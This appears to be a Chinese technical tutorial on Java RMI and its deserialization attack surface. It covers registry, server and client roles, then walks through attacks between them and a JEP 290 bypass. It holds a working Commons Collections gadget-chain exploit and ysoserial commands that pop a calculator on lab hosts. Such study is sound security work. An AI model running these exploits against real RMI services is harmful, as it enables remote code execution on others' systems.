Java提供了一种RPC框架 RMI(Remote Method Invocation , 远程方法调用) 。RMI指的是一种行为、一个过程。通过RMI允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。Java本身对RMI规范的实现默认使用的是JRMP协议( Java远程消息交换协议,就像HTTP是实现Web访问使用的协议一样)。而在Weblogic中对RMI规范的实现使用T3协议。
#RMI 结构
RMI分为三部分
- RMI Registry 注册中心,存放着远程对象的位置(ip、端口、标识符)
- RMI Server 服务端,提供远程的对象
- RMI Client 客户端,调用远程的对象
#数据传输过程
在这个过程中,Server到RMI Registry(步骤2)、Client与RMI Registry的双向通信(步骤3、4)和Client与Server的双向通信(步骤6、9),这三个过程数据传输都要经过序列化/反序列化
的操作。
通信过程梳理: 客户端⾸先连接Registry,并在其中寻找Name是hello的对象。然后Registry返回一个序列化的数据(Hello对象的初始引用)。这个hello对象是由一个动态代理生成的类,包含与Server通信的IP和端口。Client与该地址进行连接,在该连接中才真正调用远程⽅法。
Tips: RMI Registry就像一个⽹关,其自身是不会执行远程方法的。但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系。RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接 RMI Server。最后远程方法实际上在RMI Server上执行调⽤。
#RMI 服务端
定义一个远程接口,在定义远程接口的时候需要继承java.rmi.Remote
接口并且修饰符需要为public。在定义的方法里需要抛出一个RemoteException
异常。
|
|
远程接口的实现类,需要将该实现类继承UnicastRemoteObject
。
|
|
创建服务器实例,创建一个注册中心并将对象注册到注册中心。
|
|
#RMI 客户端
调用远程对象的方法
|
|
如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。传输序列化后的数据,服务端会对客户端的输入进行反序列化。
#攻击面
工具利用: BaRMIe 、ysomap 、 ysoserial
探测RMI服务: java -jar BaRMIe_v1.01.jar -enum 127.0.0.1 9527
测试代码
user接口
|
|
user实现类
|
|
注册中心
|
|
服务端
|
|
Tips: 在低版本的JDK中,Server与Registry可以不在同一台服务器上。而在高版本的JDK中,Server与Registry只能在同一台服务器上,否则无法注册成功。(Bind()函数会检查)
客户端
|
|
#客户端攻击服务端
使用RMI进行反序列化攻击需要满足两个条件: 调用的方法接收Object类型的参数、服务器端存在利用链。
对上面代码做点改动,接口中hello方法支持Object类型参数。
|
|
实现类hello方法也添加Object类型参数
|
|
客户端调用远程对象的hello方法,并传入参数,即可在服务器端执行命令。 (利用cc1的setvalue链)
|
|
在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路
- 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
- 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
- 使用诸如Javassist这样的工具修改字节码
- 通过实现代理替换网络流上已经序列化的对象
详情可参考:https://paper.seebug.org/1194/#objectjep290
#服务端攻击客户端
跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以了。服务端hello方法的返回结果中包含恶意对象,客户端调用了该方法时进行反序列化。
|
|
#客户端攻击注册中心
-
方法一 (受JEP 290影响)
lookup和unbind只接收一个String类型的参数,不能直接传递一个对象反序列化。而注册中心在处理lookup请求时,是直接进行反序列化再进行类型转换。
只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
package rmiserver; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.rmi.server.UnicastRef; import java.io.ObjectOutput; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; public class client { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "Threezh1"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true); InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap); Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject)); Registry registry = LocateRegistry.createRegistry(3333); Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333); // 获取super.ref Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote); // 获取operations Field[] fields_1 = registry_remote.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry_remote); // 跟lookup方法一样的传值过程 RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(proxyEvalObject); ref.invoke(var2); registry_remote.lookup("HelloRegistry"); System.out.println("rmi start at 3333"); } }
-
方法二 (受JEP 290影响)
利用ysoserial JRMPClient模块攻击注册中心,通过与DGC通信的方式发送恶意对象让注册中心反序列化
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections2 "open /System/Applications/Calculator.app"
-
方法三
参考JEP 290的绕过部分。
#服务端攻击注册中心
正常情况下,服务端通过bind函数向注册中心绑定userhello对象并通过序列化方式传输给注册中心。但如果把这里userhello对象替换为cc1链构造出的InvocationHandler对象,注册中心端会对该对象进行反序列化。
触发点在sun.rmi.registry.RegistryImpl_Skel#dispatch
下的readObject()函数。
利用方法 (受JEP 290影响)
-
ysoserial中的
RMIRegistryExploit
模块java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.31.138 1099 CommonsCollections1 "open /System/Applications/Calculator.app"
-
代码测试
1 2 3
Registry registry = LocateRegistry.getRegistry(1099); registry.bind("hello", new userhello()); //userhello为恶意类,注册中心会进行反序列化。 //rebind也可以
默认情况下,服务端向注册端进行bind等操作会验证服务端地址是否被允许(默认只信任localhost)。但不是信任地址也可以利用。因为注册端对于服务端的验证在反序列化操作之后。在8u141之后,JDK代码对于此处验证逻辑变成先验证再反序列化,此时就不能绕过地址校验了。
#注册中心攻击客户端(或服务端)
借助ysoserial启动一个JRMP注册中心
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "open /System/Applications/Calculator.app"
利用原理(不受JEP 290影响)
客户端代码
|
|
同理,由自定义的注册中心返回恶意的序列化对象,客户端收到后会对其进行反序列化。这里如果存在cc2链利用环境则利用成功。
触发点在sun.rmi.registry.RegistryImpl_Stub#lookup
下的readObject()函数。
#JEP290 绕过
在JDK6u141、JDK7u131、JDK 8u121
开始加入了JEP 290限制。JEP 290是来限制能够被反序列化的类,主要包含以下几个机制:
- 提供一个限制反序列化类的机制,白名单或者黑名单。
- 限制反序列化的深度和复杂度。
- 为RMI远程调用对象提供了一个验证类的机制。
- 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。
Tips:
- 如果是Client端和Server端互相攻击默认是没有过滤的。JEP290需要手动设置,没有设置的话就还是可以正常进行反序列化利用。
- JEP 290默认分别为RMI注册端和**RMI分布式垃圾收集器(DGC)**提供了内置过滤器(通过setObjectInputFilter来设置Filter进行类的过滤)。这两个过滤器都配置为白名单,只允许反序列化特定类。
在有JEP 290的JDK版本进行攻击会报以下错误:
ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler......
#UnicastRef Bypass JEP290
可以利用UnicastRef.class这个白名单类新建一个RMI连接请求来绕过JEP290的限制。
RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期。
利用原理
通过UnicastRef对象建立一个JRMP连接,JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter,传给注册中心的恶意对象会被反序列化进而攻击成功。
触发点在sun.rmi.transport.DGCImpl_Skel#dispatch
下的readObject()函数
利用方式
-
代码(对应上图)
ysoserial 启动一个恶意的JRMPListener。
java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"
注册中心
1 2 3 4 5 6
public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(2222); User user = new UserImpl(); registry.rebind("HelloRegistry", user); System.out.println("rmi start at 2222"); }
Server端 (这段代码是ysoserial payload中JRMPClient类的部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(client.class.getClassLoader(), new Class[] { Registry.class }, obj); try { reg.bind("Hello",proxy); } catch (AlreadyBoundException e) { e.printStackTrace(); } }
或直接使用ysomap中的RMIRegistryExploit模块(也是利用的代码中的方式JDK ≤ 8u231可以利用)。
-
先用ysoserial启动RMI registry,等待目标连接
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "open -a calculator.app"
-
ysomap中指定目标RMI registry的地址和端口,并在bullet模块中指定ysoserial启动的RMI registry地址。run之后便可看到目标弹出计算器。